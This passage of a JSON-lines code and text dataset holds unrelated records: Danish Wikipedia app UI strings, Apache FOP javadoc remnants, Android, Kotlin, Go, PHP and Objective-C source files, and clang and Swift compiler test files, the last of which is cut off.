= \"Sort tema\";\n\"edit-watch-list-learn-more-text\" = \"L\\U00e6r mere om overv\\U00e5gningslister\";\n\"share-social-format\" = \"\\U00bb%1$@\\U00ab via Wikipedia: %2$@\";\n\"description-welcome-concise-sub-title\" = \"Helst \\U00e9n linje, mellem to og tolv ord\";\n\"field-alert-username-unavailable\" = \"Brugernavn ikke tilg\\U00e6ngeligt\";\n\"empty-no-reading-lists-message\" = \"Tryk p\\U00e5 det bl\\U00e5 \\U00bb+\\U00ab for at oprette lister for steder at rejse til, favoritemner og meget mere\";\n\"description-edit-pencil-introduction\" = \"Rediger introduktion\";\n\"empty-no-saved-pages-message\" = \"Gem sider for at l\\U00e6se dem senere, selv offline\";\n\"on-this-day-detail-header-title\" = \"%1$d|%1$d historisk h\\U00e6ndelse|%1$d historiske h\\U00e6ndelser\";\n\"places-enable-location-action-button-title\" = \"Aktiv\\U00e9r placering\";\n\"reading-list-create-new-list-button-title\" = \"Opret l\\U00e6seliste\";\n\"reading-list-unable-to-remove-entry\" = \"Der opstod en uventet fejl under fjernelse af en post i din l\\U00e6seliste. Pr\\U00f8v igen senere.\";\n\"in-the-news-currently-trending\" = \"Popul\\U00e6rt nu\";\n\"abuse-filter-warning-heading\" = \"Dette ligner en redigering som ikke er konstruktiv. Er du sikker p\\U00e5 at du \\U00f8nsker at udgive den?\";\n\"settings-clear-cache-ok\" = \"Ryd cache\";\n\"places-search-did-you-mean\" = \"Mente du %1$@?\";\n\"field-captcha-placeholder\" = \"CAPTCHA-tekst\";\n\"saved-reading-lists-title\" = \"L\\U00e6selister\";\n\"about-libraries-license\" = \"Licens\";\n\"preference-summary-eventlogging-opt-in\" = \"Tillad Wikimedia Foundation at indsamle oplysninger om, hvordan du bruger appen, for at g\\U00f8re appen bedre.\";\n\"forgot-password-instructions\" = \"Udfyld et af felterne nedenfor for at modtage instruktioner om nulstilling af adgangskoden via e-mail\";\n\"reading-list-unable-to-create\" = \"Der opstod en uventet fejl under oprettelse af din l\\U00e6seliste. Pr\\U00f8v venligst igen senere.\";\n\"search-recent-clear-confirmation-heading\" = \"Slet alle seneste s\\U00f8gninger?\";\n\"share-article-name-on-wikipedia\" = \"\\U00ab%1$@\\U00bb p\\U00e5 @Wikipedia:\";\n\"explore-feed-preferences-hide-card-action-title\" = \"Skjul dette kort\";\n\"editing-welcome-be-bold-subtitle\" = \"V\\U00e6r modig, men ikke letsindig, n\\U00e5r du opdaterer artikler. V\\U00e6r ikke bange for at lave fejl: alle tidligere versioner af en side er lagret, s\\U00e5 fejl kan nemt korrigeres af andre.\";\n\"editing-welcome-citations-subtitle\" = \"Alt indhold skal kunne verificeres. N\\U00e5r du tilf\\U00f8jer ny information i en artikel, b\\U00f8r du inds\\U00e6tte en reference til en p\\U00e5lidelig kilde som direkte underst\\U00f8tter denne information.\";\n\"wikitext-upload-save-anonymously-warning\" = \"Redigeringer vil blive tilskrevet IP-adressen for din enhed. %1$@ hvis du vil have mere privatliv.\";\n\"article-languages-others\" = \"Andre sprog\";\n\"page-protected-autoconfirmed\" = \"Denne side er delvis beskyttet.\";\n\"search-recent-clear-cancel\" = \"Annull\\U00e9r\";\n\"account-creation-captcha-cannot-see-image\" = \"Kan du ikke se billedet? %1$@\";\n\"page-protected-other\" = \"Denne side er beskyttet til f\\U00f8lgende niveauer: %1$@\";\n\"reading-lists-article-api-failure\" = \"Artiklen kunne ikke synkroniseres\";\n\"main-menu-debug-tweaks\" = \"Indstillinger for udvikler\";\n\"find-textfield-accessibility\" = \"Find\";\n\"explore-most-read-sub-heading-on-wikipedia\" = \"P\\U00e5 Wikipedia\";\n\"field-email-placeholder\" = \"eksempel@eksempel.org\";\n\"editing-welcome-impartial-tone-subtitle\" = \"Vi efterstr\\U00e6ber artikler i en neutral tone. N\\U00e5r du redigerer, s\\U00e5 fors\\U00f8g at give en fair fremstilling af verden p\\U00e5 den m\\U00e5de som p\\U00e5lidelige kilder beskriver den.\";\n\"places-empty-search-description\" = \"Udforsk byer, lande, kontinenter, naturlige landem\\U00e6rker, historiske begivenheder, bygninger og mere.\";\n\"settings-storage-and-syncing-show-default-reading-list-footer-text\" = \"Vis den gemte (f.eks. standard) l\\U00e6seliste som en separat liste i din l\\U00e6selistevisning. Denne liste fremg\\U00e5r af Androidenheder\";\n\"article-languages-label\" = \"V\\U00e6lg sprog\";\n\"nearby-distance-label-feet\" = \"%1$@ fod\";\n\"abuse-filter-disallow-unconstructive\" = \"Et automatisk filter har identificeret denne redigering som potentielt ukonstruktiv eller fors\\U00f8g p\\U00e5 h\\U00e6rv\\U00e6rk.\";\n\"reading-list-add-generic-hint-title\" = \"Tilf\\U00f8j denne artikel til en l\\U00e6seliste?\";\n\"about-wikimedia-foundation\" = \"Wikimedia Foundation\";\n\"explore-potd-sub-heading\" = \"Fra Wikimedia Commons\";\n\"back-button-popover-title\" = \"Tryk for at g\\U00e5 tilbage\";\n\"welcome-intro-free-encyclopedia-more-about\" = \"Om Wikipedia\";\n\"feed-news-notification-text\" = \"Aktiver p\\U00e5mindelser for at blive p\\U00e5mindet af Wikipedia n\\U00e5r artikler er popul\\U00e6re i nyhederne.\";\n\"edit-watch-this-page-text\" = \"Overv\\U00e5g denne side\";\n\"on-this-day-sub-title-for-date-from-language-wikipedia\" = \"%1$@ fra %2$@ Wikipedia\";\n\"explore-feed-preferences-in-the-news-description\" = \"Artikler om aktuelle begivenheder\";\n\"reading-list-with-provided-name-not-found\" = \"En l\\U00e6seliste med navnet \\U00bb%1$@\\U00ab blev ikke fundet. Sikr dig at du har det korrekte navn.\";\n\"description-help-tips-example-title-one\" = \"maleri af Leonardo Da Vinci\";\n\"compass-direction\" = \"mod klokken %1$@\";\n\"diff-paragraph-moved-direction-down\" = \"ned\";\n\"status-saved-for-later\" = \"Gemt til senere\";\n\"explore-feed-preferences-global-cards-title\" = \"Globale kort\";\n\"request-feedback-on-error\" = \"Appen er st\\U00f8dt p\\U00e5 et problem, som vores udviklere gerne vil vide mere om. Tryk her for at sende os en e-mail med oplysninger om fejlen.\";\n\"places-title\" = \"Steder\";\n\"field-email-title-optional\" = \"E-mail (valgfri)\";\n\"field-alert-token-invalid\" = \"Ugyldig kode\";\n\"in-the-news-title\" = \"I nyhederne\";\n\"reference-title\" = \"Reference %1$@\";\n\"reading-list-api-error-list-limit\" = \"Denne liste er ikke synkroniseret, da du har n\\U00e5et begr\\U00e6nsningen for antallet af synkroniserede lister.\";\n\"welcome-intro-free-encyclopedia-title\" = \"Den frie encyklop\\U00e6di\";\n\"wikitext-upload-captcha-needed\" = \"Brug for CAPTCHA bekr\\U00e6ftelse.\";\n\"field-alert-captcha-invalid\" = \"Ugyldig CAPTCHA\";\n\"insert-media-caption-caption-placeholder\" = \"Hvordan relaterer dette billede sig til denne artikel?\";\n\"pictured\" = \"billedet\";\n\"wikitext-preview-changes-none\" = \"Ingen \\U00e6ndringer blev foretaget som kan forh\\U00e5ndsvises.\";\n\"welcome-exploration-on-this-day-title\" = \"P\\U00e5 denne dag\";\n\"reading-list-unable-to-add-entry\" = \"Der opstod en uventet fejl under tilf\\U00f8jelse af et punkt til din l\\U00e6seliste. Pr\\U00f8v igen senere.\";\n\"account-creation-passwords-mismatched\" = \"Adgangskoderne stemmer ikke overens.\";\n\"in-the-news-sub-title-from-language-wikipedia\" = \"Fra %1$@ Wikipedia\";\n\"page-history-compare-title\" = \"Sammenlign\";\n\"welcome-send-data-helps-title\" = \"Hj\\U00e6lp med at g\\U00f8re programmet bedre\";\n\"clear-title-accessibility-label\" = \"Ryd\";\n\"description-help-about-description\" = \"Titelbeskrivelser sammenfatter en artikel for at hj\\U00e6lpe l\\U00e6sere til at forst\\U00e5 emnet p\\U00e5 et \\U00f8jeblik.\";\n\"reading-list-limit-hit-for-unsorted-articles-button-title\" = \"Sorter artikler\";\n\"field-backup-token-title\" = \"Reservekode\";\n\"explore-feed-preferences-hide-feed-cards-action-title\" = \"Skjul alle \\U201c%1$@\\U201d kort\";\n\"welcome-send-data-sub-title\" = \"Hj\\U00e6lp Wikipedia Foundation med at g\\U00f8re programmet bedre ved at oplyse os om, hvordan du bruger den. Data indsamles anonymt.\";\n\"places-unknown-distance\" = \"ukendt afstand\";\n\"relative-date-days-ago\" = \"%1$d|0=I dag|1=I g\\U00e5r|%1$d dage siden\";\n\"action-saved-accessibility\" = \"Gemt. Aktiver for at fortryde.\";\n\"reading-themes-controls-accessibility-light-theme-button\" = \"Lyst tema\";\n\"welcome-languages-search-title\" = \"S\\U00f8g p\\U00e5 n\\U00e6sten 300 sprog\";\n\"explore-featured-article-sub-heading-from-wikipedia\" = \"Fra Wikipedia\";\n\"main-menu-account-logout-cancel\" = \"Annuller\";\n\"in-the-news-sub-title-from-wikipedia\" = \"Fra Wikipedia\";\n\"edit-menu-item\" = \"Rediger\";\n\"insert-media-image-position-setting-right\" = \"H\\U00f8jre\";\n\"article-languages-yours\" = \"Dine sprog\";\n\"description-help-tips-for-example\" = \"For eksempel:\";\n\"explore-most-read-footer\" = \"Alle mest l\\U00e6ste artikler\";\n\"field-new-password-confirm-placeholder\" = \"genindtast ny adgangskode\";\n\"action-replace\" = \"Erstat\";\n\"reading-themes-controls-accessibility-sepia-theme-button\" = \"Sepia-tema\";\n\"history-clear-delete-all\" = \"Ja, slet alt\";\n\"account-talk-page-title\" = \"Din diskussionsside\";\n\"sort-by-title-action\" = \"Titel\";\n\"new-password-instructions\" = \"Du loggede p\\U00e5 med en midlertidig adgangskode. Angiv en ny adgangskode her for at f\\U00e6rdigg\\U00f8re login.\";\n\"share-a-fact-made-with\" = \"Lavet med Wikipediaprogrammet\";\n\"article-deleted-accessibility-notification\" = \"%1$d|artikel|artikler slettet\";\n\"edit-published-subtitle\" = \"Du har lige gjort Wikipedia bedre for alle\";\n\"explore-random-article-heading\" = \"Tilf\\U00e6ldig artikel\";\n\"description-published-subtitle\" = \"Du har lige gjort Wikipedia bedre for alle\";\n\"insert-media-alternative-text-placeholder\" = \"Beskriv dette billede\";\n\"places-accessibility-show-as-list\" = \"Vis som liste\";\n\"reading-list-new-list-description-placeholder\" = \"valgfri kort beskrivelse\";\n\"settings-support\" = \"St\\U00f8t Wikipedia\";\n\"number-billions\" = \"%1$@ mia.\";\n\"edit-summary-choice-fixed-grammar\" = \"Rettede grammatik\";\n\"reading-list-create-new-list-description\" = \"Beskrivelse\";\n\"reading-list-sync-enable-button-title\" = \"Aktiver synkronisering\";\n\"search-clear-title\" = \"Ryd\";\n\"settings-clear-cache-are-you-sure-title\" = \"Ryd cachede data?\";\n\"explore-potd-heading\" = \"Dagens billede\";\n\"page-history-minor-edits\" = \"mindre redigeringer\";\n\"home-themes-prompt\" = \"Juster dine l\\U00e6seindstillinger inklusive tekstst\\U00f8rrelse og tema fra artiklens v\\U00e6rkt\\U00f8jslinje eller i dine brugerindstillinger for en mere komfortabel l\\U00e6seoplevelse.\";\n\"search-title\" = \"S\\U00f8g\";\n\"appearance-settings-set-automatic-table-opening\" = \"Tabelindstillinger\";\n\"about-send-feedback\" = \"Send tilbagemelding om app\";\n\"about-contributors\" = \"bidragsydere\";\n\"reading-lists-article-added-confirmation\" = \"Artikel tilf\\U00f8jet til \\U00bb%1$@\\U00ab\";\n\"description-welcome-promise-title\" = \"Begynder du at redigere, s\\U00e5 lover du samtidig ikke at misbruge denne funktion\";\n\"history-clear-confirmation-heading\" = \"Er du sikker p\\U00e5 at du \\U00f8nsker at slette alle dine seneste emner?\";\n\"insert-media-image-preview-select-image-action-title\" = \"V\\U00e6lg billede\";\n\"places-accessibility-show-as-map\" = \"Vis som kort\";\n\"settings-storage-and-syncing-enable-sync-title\" = \"Synkroniser gemte artikler og lister\";\n\"home-title-accessibility-label\" = \"Wikipedia, rul til begyndelsen af Udforsk\";\n\"saved-default-reading-list-tag\" = \"Denne liste kan ikke slettes\";\n\"button-saved-remove\" = \"Fjern fra gemte\";\n\"potd-description-prefix\" = \"Dagens billede for %1$@\";\n\"edit-reference-accessibility-label\" = \"Tilf\\U00f8j referencesyntaks\";\n\"share-open-in-maps\" = \"\\U00c5ben i Maps\";\n\"no-email-account-alert\" = \"Ops\\U00e6t venligst en e-mail-konto p\\U00e5 din enhed og fors\\U00f8g igen.\";\n\"main-menu-terms-of-use\" = \"Vilk\\U00e5r for anvendelse\";\n\"settings-notifications-learn-more\" = \"L\\U00e6r mere om notifikationer\";\n\"explore-feed-preferences-feed-card-visibility-languages-count\" = \"P\\U00e5 %1$d\";\n\"share-on-twitter-sign-off\" = \"via @Wikipedia\";\n\"forgot-password-button-title\" = \"Nulstil\";\n\"button-saved-for-later\" = \"Gemt til senere\";\n\"action-undo\" = \"Fortryd\";\n\"description-edit-title\" = \"Rediger beskrivelse\";\n\"action-cancel\" = \"Annuller\";\n\"top-read-header-with-language\" = \"%1$@ Wikipedia\";\n\"action-unsaved-accessibility-notification\" = \"Artikel ikke l\\U00e6ngere gemt\";\n\"reverted-edit-view-guidelines-text\" = \"Vis retningslinjer\";\n\"top-read-header-generic\" = \"Wikipedia\";\n\"welcome-notifications-tell-me-more-storage\" = \"Indstillinger for notifikationer gemmes p\\U00e5 enheden og er ikke baseret p\\U00e5 personlige informationer eller aktivitet.\";\n\"error-unknown\" = \"Der opstod en ukendt fejl\";\n\"home-reading-list-prompt\" = \"Dine gemte artikler kan nu organiseres i l\\U00e6selister og synkroniseret p\\U00e5 tv\\U00e6rs af enheder. Log ind for at acceptere at dine l\\U00e6selister gemmes i dine brugerpr\\U00e6ferencer.\";\n\"settings-help-and-feedback\" = \"Hj\\U00e6lp og tilbagemelding\";\n\"account-creation-create-account\" = \"Opret din konto\";\n\"appearance-settings-adjust-text-sizing\" = \"Juster st\\U00f8rrelse for artikelteksten\";\n\"home-button-saved-accessibility-label\" = \"Wikipedia, vend tilbage til Gemt\";\n\"reading-list-unable-to-delete\" = \"Der opstod en uventet fejl under sletning af din l\\U00e6seliste. Pr\\U00f8v igen senere.\";\n\"reading-list-api-error-generic\" = \"Der opstod en uventet fejl under synkronisering af dine l\\U00e6selister.\";\n\"main-menu-heading-legal\" = \"Privatliv og vilk\\U00e5r\";\n\"insert-media-image-position-setting-left\" = \"Venstre\";\n\"places-accessibility-group\" = \"%1$@ artikler\";\n\"editing-welcome-be-bold-title\" = \"Dit bidrag er vigtigt\";\n\"relative-date-years-ago\" = \"%1$d|0=Dette \\U00e5r|1=Sidste \\U00e5r|%1$d \\U00e5r siden\";\n\"reading-list-keep-button-title\" = \"Ja, bevar artikler p\\U00e5 enhed\";\n\"welcome-explore-continue-button\" = \"Kom i gang\";\n\"action-thank-user-accessibility\" = \"Tak bruger\";\n\"welcome-explore-new-ways-title\" = \"Nye m\\U00e5der at udforske p\\U00e5\";\n\"empty-no-feed-message\" = \"Du kan se dine anbefalede artikler n\\U00e5r du har internetforbindelse\";\n\"editing-welcome-set-knowledge-free-title\" = \"Slip din viden l\\U00f8s\";\n"} +{"text": "\n\n\n\n\n\norg.apache.fop.render.awt Class Hierarchy (Apache FOP 1.1 API)\n\n\n\n\n\n\n\n\n\n\n\n\n
    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
    \n\n\n \n \n \n \n \n \n \n \n \n \n
    Overview  Package  Class  Use   Tree  Deprecated  Index  Help 
    \n
    \nfop 1.1\n
    \n PREV \n NEXT\n FRAMES  \n NO FRAMES  \n \n\n\n\n
    \n\n\n\n
    \n
    \n

    \nHierarchy For Package org.apache.fop.render.awt\n

    \n
    \n
    \n
    Package Hierarchies:
    All Packages
    \n
    \n

    \nClass Hierarchy\n

    \n\n
    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
    \n\n\n \n \n \n \n \n \n \n \n \n \n
    Overview  Package  Class  Use   Tree  Deprecated  Index  Help 
    \n
    \nfop 1.1\n
    \n PREV \n NEXT\n FRAMES  \n NO FRAMES  \n \n\n\n\n
    \n\n\n\n
    \nCopyright 1999-2012 The Apache Software Foundation. All Rights Reserved.\n\n\n"} +{"text": "package com.chrissen.cartoon.util.transition;\n\nimport android.animation.Animator;\nimport android.animation.TimeInterpolator;\nimport android.app.Activity;\nimport android.content.Intent;\nimport android.view.View;\nimport android.view.ViewTreeObserver;\n\nimport java.util.ArrayList;\n\n/**\n * Tool for transition between two activities\n *
    \n * Created by huzn on 2017/5/8.\n */\npublic class EasyTransition {\n\n public static final String EASY_TRANSITION_OPTIONS = \"easy_transition_options\";\n public static final long DEFAULT_TRANSITION_ANIM_DURATION = 1000;\n\n /**\n * Start Activity with transition options\n *\n * @param intent The intent to start\n * @param options Transition options, using {@link EasyTransitionOptions#makeTransitionOptions(Activity, View...)}\n * to build your options\n */\n public static void startActivity(Intent intent, EasyTransitionOptions options) {\n options.update();\n intent.putParcelableArrayListExtra(EASY_TRANSITION_OPTIONS, options.getAttrs());\n Activity activity = options.getActivity();\n activity.startActivity(intent);\n activity.overridePendingTransition(0, 0);\n }\n\n /**\n * Start Activity for result, with transition options\n *\n * @param intent The intent to start\n * @param requestCode If >= 0, this code will be returned in onActivityResult() when the activity exits,\n * see {@link Activity#startActivityForResult(Intent, int)}\n * @param options Transition options, using {@link EasyTransitionOptions#makeTransitionOptions(Activity, View...)}\n * to build your options\n */\n public static void startActivityForResult(Intent intent, int requestCode, EasyTransitionOptions options) {\n options.update();\n intent.putParcelableArrayListExtra(EASY_TRANSITION_OPTIONS, options.getAttrs());\n Activity activity = options.getActivity();\n activity.startActivityForResult(intent, requestCode);\n activity.overridePendingTransition(0, 0);\n }\n\n /**\n * Enter the Activity, invoking this method to start enter transition animations\n *\n * @param activity The Activity entering\n * @param duration The duration of enter transition animation\n * @param interpolator The TimeInterpolator of enter transition animation\n * @param listener Animator listener, normally you can do your initial after animation end\n */\n public static void enter(Activity activity, long duration, TimeInterpolator interpolator, Animator.AnimatorListener listener) {\n Intent intent = activity.getIntent();\n ArrayList attrs =\n intent.getParcelableArrayListExtra(EASY_TRANSITION_OPTIONS);\n runEnterAnimation(activity, attrs, duration, interpolator, listener);\n }\n\n /**\n * The same as {@link EasyTransition#enter(Activity, long, TimeInterpolator, Animator.AnimatorListener)}\n * with no interpolator\n */\n public static void enter(Activity activity, long duration, Animator.AnimatorListener listener) {\n enter(activity, duration, null, listener);\n }\n\n /**\n * The same as {@link EasyTransition#enter(Activity, long, TimeInterpolator, Animator.AnimatorListener)}\n * with default duration\n */\n public static void enter(Activity activity, TimeInterpolator interpolator, Animator.AnimatorListener listener) {\n enter(activity, DEFAULT_TRANSITION_ANIM_DURATION, interpolator, listener);\n }\n\n /**\n * The same as {@link EasyTransition#enter(Activity, long, TimeInterpolator, Animator.AnimatorListener)}\n * with default duration and no interpolator\n */\n public static void enter(Activity activity, Animator.AnimatorListener listener) {\n enter(activity, DEFAULT_TRANSITION_ANIM_DURATION, null, listener);\n }\n\n /**\n * The same as {@link EasyTransition#enter(Activity, long, TimeInterpolator, Animator.AnimatorListener)}\n * with default duration, no interpolator and no listener\n */\n public static void enter(Activity activity) {\n enter(activity, DEFAULT_TRANSITION_ANIM_DURATION, null, null);\n }\n\n private static void runEnterAnimation(Activity activity,\n ArrayList attrs,\n final long duration,\n final TimeInterpolator interpolator,\n final Animator.AnimatorListener listener) {\n if (null == attrs || attrs.size() == 0)\n return;\n\n for (final EasyTransitionOptions.ViewAttrs attr : attrs) {\n final View view = activity.findViewById(attr.id);\n\n if (null == view)\n continue;\n\n view.getViewTreeObserver()\n .addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {\n @Override\n public boolean onPreDraw() {\n view.getViewTreeObserver().removeOnPreDrawListener(this);\n\n int[] location = new int[2];\n view.getLocationOnScreen(location);\n view.setPivotX(0);\n view.setPivotY(0);\n view.setScaleX(attr.width / view.getWidth());\n view.setScaleY(attr.height / view.getHeight());\n view.setTranslationX(attr.startX - location[0]); // xDelta\n view.setTranslationY(attr.startY - location[1]); // yDelta\n\n view.animate()\n .scaleX(1)\n .scaleY(1)\n .translationX(0)\n .translationY(0)\n .setDuration(duration)\n .setInterpolator(interpolator)\n .setListener(listener);\n return true;\n }\n });\n }\n }\n\n /**\n * Exit the Activity, invoke this method to start exit transition animation,\n * the shared views must have same ids, or it will throws NullPointerException\n *\n * @param activity The Activity Exiting\n * @param interpolator The TimeInterpolator of exit transition animation\n * @param duration The duration of exit transition animation\n * @throws NullPointerException throws if shared views not found in The Activity Exiting\n */\n public static void exit(Activity activity, long duration, TimeInterpolator interpolator) {\n Intent intent = activity.getIntent();\n ArrayList attrs = intent.getParcelableArrayListExtra(EASY_TRANSITION_OPTIONS);\n runExitAnimation(activity, attrs, duration, interpolator);\n }\n\n /**\n * The same as {@link EasyTransition#exit(Activity, long, TimeInterpolator)}\n * with default duration\n */\n public static void exit(Activity activity, TimeInterpolator interpolator) {\n exit(activity, DEFAULT_TRANSITION_ANIM_DURATION, interpolator);\n }\n\n /**\n * The same as {@link EasyTransition#exit(Activity, long, TimeInterpolator)}\n * with no interpolator\n */\n public static void exit(Activity activity, long duration) {\n exit(activity, duration, null);\n }\n\n /**\n * The same as {@link EasyTransition#exit(Activity, long, TimeInterpolator)}\n * with default duration and no interpolator\n */\n public static void exit(Activity activity) {\n exit(activity, DEFAULT_TRANSITION_ANIM_DURATION, null);\n }\n\n private static void runExitAnimation(final Activity activity,\n ArrayList attrs,\n long duration,\n TimeInterpolator interpolator) {\n if (null == attrs || attrs.size() == 0)\n return;\n\n for (final EasyTransitionOptions.ViewAttrs attr : attrs) {\n View view = activity.findViewById(attr.id);\n int[] location = new int[2];\n view.getLocationOnScreen(location);\n view.setPivotX(0);\n view.setPivotY(0);\n\n view.animate()\n .scaleX(attr.width / view.getWidth())\n .scaleY(attr.height / view.getHeight())\n .translationX(attr.startX - location[0])\n .translationY(attr.startY - location[1])\n .setInterpolator(interpolator)\n .setDuration(duration);\n }\n\n activity.findViewById(attrs.get(0).id).postDelayed(new Runnable() {\n @Override\n public void run() {\n activity.finish();\n activity.overridePendingTransition(0, 0);\n }\n }, duration);\n }\n}\n"} +{"text": "/*\n * Copyright (c) 2019 DuckDuckGo\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.duckduckgo.app.tabs.ui\n\nimport android.content.Context\nimport com.duckduckgo.app.global.view.toDp\nimport kotlin.math.min\n\nclass GridViewColumnCalculator(val context: Context) {\n\n fun calculateNumberOfColumns(columnWidthDp: Int, maxColumns: Int): Int {\n val displayMetrics = context.resources.displayMetrics\n val screenWidthDp = displayMetrics.widthPixels.toDp()\n val numberOfColumns = screenWidthDp / columnWidthDp\n return min(maxColumns, numberOfColumns)\n }\n\n}\n"} +{"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1\n\n// This file contains a collection of methods that can be used from go-restful to\n// generate Swagger API documentation for its models. Please read this PR for more\n// information on the implementation: https://github.com/emicklei/go-restful/pull/215\n//\n// TODOs are ignored from the parser (e.g. TODO(andronat):... || TODO:...) if and only if\n// they are on one line! For multiple line or blocks that you want to ignore use ---.\n// Any context after a --- is ignored.\n//\n// Those methods can be generated by using hack/update-generated-swagger-docs.sh\n\n// AUTO-GENERATED FUNCTIONS START HERE\nvar map_TokenReview = map[string]string{\n\t\"\": \"TokenReview attempts to authenticate a token to a known user. Note: TokenReview requests may be cached by the webhook token authenticator plugin in the kube-apiserver.\",\n\t\"spec\": \"Spec holds information about the request being evaluated\",\n\t\"status\": \"Status is filled in by the server and indicates whether the request can be authenticated.\",\n}\n\nfunc (TokenReview) SwaggerDoc() map[string]string {\n\treturn map_TokenReview\n}\n\nvar map_TokenReviewSpec = map[string]string{\n\t\"\": \"TokenReviewSpec is a description of the token authentication request.\",\n\t\"token\": \"Token is the opaque bearer token.\",\n}\n\nfunc (TokenReviewSpec) SwaggerDoc() map[string]string {\n\treturn map_TokenReviewSpec\n}\n\nvar map_TokenReviewStatus = map[string]string{\n\t\"\": \"TokenReviewStatus is the result of the token authentication request.\",\n\t\"authenticated\": \"Authenticated indicates that the token was associated with a known user.\",\n\t\"user\": \"User is the UserInfo associated with the provided token.\",\n\t\"error\": \"Error indicates that the token couldn't be checked\",\n}\n\nfunc (TokenReviewStatus) SwaggerDoc() map[string]string {\n\treturn map_TokenReviewStatus\n}\n\nvar map_UserInfo = map[string]string{\n\t\"\": \"UserInfo holds the information about the user needed to implement the user.Info interface.\",\n\t\"username\": \"The name that uniquely identifies this user among all active users.\",\n\t\"uid\": \"A unique value that identifies this user across time. If this user is deleted and another user by the same name is added, they will have different UIDs.\",\n\t\"groups\": \"The names of groups this user is a part of.\",\n\t\"extra\": \"Any additional information provided by the authenticator.\",\n}\n\nfunc (UserInfo) SwaggerDoc() map[string]string {\n\treturn map_UserInfo\n}\n\n// AUTO-GENERATED FUNCTIONS END HERE\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n@class NSData, NSDictionary;\n\n@protocol AKAppleIDSigningDaemonProtocol \n- (void)signaturesForData:(NSDictionary *)arg1 options:(NSDictionary *)arg2 completion:(void (^)(NSDictionary *, NSData *, NSError *))arg3;\n- (void)absintheSignatureForData:(NSData *)arg1 completion:(void (^)(NSString *, NSError *))arg2;\n@end\n\n"} +{"text": "itemId = $itemId;\n }\n public function getItemId()\n {\n return $this->itemId;\n }\n public function setLink($link)\n {\n $this->link = $link;\n }\n public function getLink()\n {\n return $this->link;\n }\n public function setSubmittedValue($submittedValue)\n {\n $this->submittedValue = $submittedValue;\n }\n public function getSubmittedValue()\n {\n return $this->submittedValue;\n }\n public function setTitle($title)\n {\n $this->title = $title;\n }\n public function getTitle()\n {\n return $this->title;\n }\n public function setValueOnLandingPage($valueOnLandingPage)\n {\n $this->valueOnLandingPage = $valueOnLandingPage;\n }\n public function getValueOnLandingPage()\n {\n return $this->valueOnLandingPage;\n }\n}\n"} +{"text": "assertTrue($checker->isLatest());\n $this->assertEquals(Shell::VERSION, $checker->getLatest());\n }\n}\n"} +{"text": "// RUN: %clang_cc1 -arcmt-check -triple x86_64-apple-darwin10 -fsyntax-only -x objective-c -verify %s \n// rdar://10387088\ntypedef const void * CFTypeRef;\nCFTypeRef CFBridgingRetain(id X);\nid CFBridgingRelease(CFTypeRef);\n\nextern \nCFTypeRef CFRetain(CFTypeRef cf);\n\n@interface INTF\n{\n void *cf_format;\n id objc_format;\n}\n@end\n\n@interface NSString\n+ (id)stringWithFormat:(NSString *)format;\n@end\n\n@implementation INTF\n- (void) Meth {\n NSString *result;\n\n result = (id) CFRetain([NSString stringWithFormat:@\"PBXLoopMode\"]); // expected-error {{cast of C pointer type 'CFTypeRef' (aka 'const void *') to Objective-C pointer type 'id' requires a bridged cast}} \\\n\t\t\t\t\t\t\t\t // expected-note {{use __bridge to convert directly (no change in ownership)}} \\\n\t\t\t\t\t\t\t\t // expected-note {{use CFBridgingRelease call to transfer ownership of a +1 'CFTypeRef' (aka 'const void *') into ARC}}\n\n result = (id) CFRetain((id)((objc_format))); // expected-error {{cast of C pointer type 'CFTypeRef' (aka 'const void *') to Objective-C pointer type 'id' requires a bridged cast}} \\\n\t\t\t\t\t // expected-note {{use __bridge to convert directly (no change in ownership)}} \\\n\t\t\t\t\t // expected-note {{use CFBridgingRelease call to transfer ownership of a +1 'CFTypeRef' (aka 'const void *') into ARC}}\n\n result = (id) CFRetain((id)((cf_format))); // expected-error {{cast of C pointer type 'CFTypeRef' (aka 'const void *') to Objective-C pointer type 'id' requires a bridged cast}} \\\n\t\t\t\t\t // expected-note {{use __bridge to convert directly (no change in ownership)}} \\\n // expected-note {{use CFBridgingRelease call to transfer ownership of a +1 'CFTypeRef' (aka 'const void *') into ARC}}\n\n result = (id) CFRetain((CFTypeRef)((objc_format)));\n\n result = (id) CFRetain(cf_format); // OK\n}\n@end\n\n"} +{"text": "// RUN: %target-typecheck-verify-swift\n\nprotocol P1 {\n func foo() // expected-note {{protocol requires function 'foo()'}}\n func bar() // okay\n}\n\nextension P1 {\n func bar() {} // okay\n}\n\nstruct P1Conformer : P1 {} // expected-error {{does not conform}}\n\n\nprotocol P2 {\n func foo() // expected-note {{protocol requires function 'foo()'}}\n func bar() // expected-note {{protocol requires function 'bar()'}}\n}\nprotocol P2Helper {}\n\nextension P2 where Self : P2Helper {\n func bar() {} // expected-note {{candidate}}\n}\n\nstruct P2Conformer : P2 {} // expected-error {{does not conform}}\n\n\nprotocol P3 {\n func foo() // expected-note {{protocol requires function 'foo()'}}\n func bar() // okay\n func baz() -> Baz\n associatedtype Baz\n}\n\nextension P3 {\n func bar() {} // okay\n}\n\nstruct P3Conformer : P3 { // expected-error {{does not conform}}\n func baz() -> Int { return 0 }\n}\n\n\nprotocol P4 {\n func foo() // expected-note {{protocol requires function 'foo()'}}\n func bar() // expected-note {{protocol requires function 'bar()'}}\n func baz() -> Baz // okay\n associatedtype Baz\n}\nprotocol 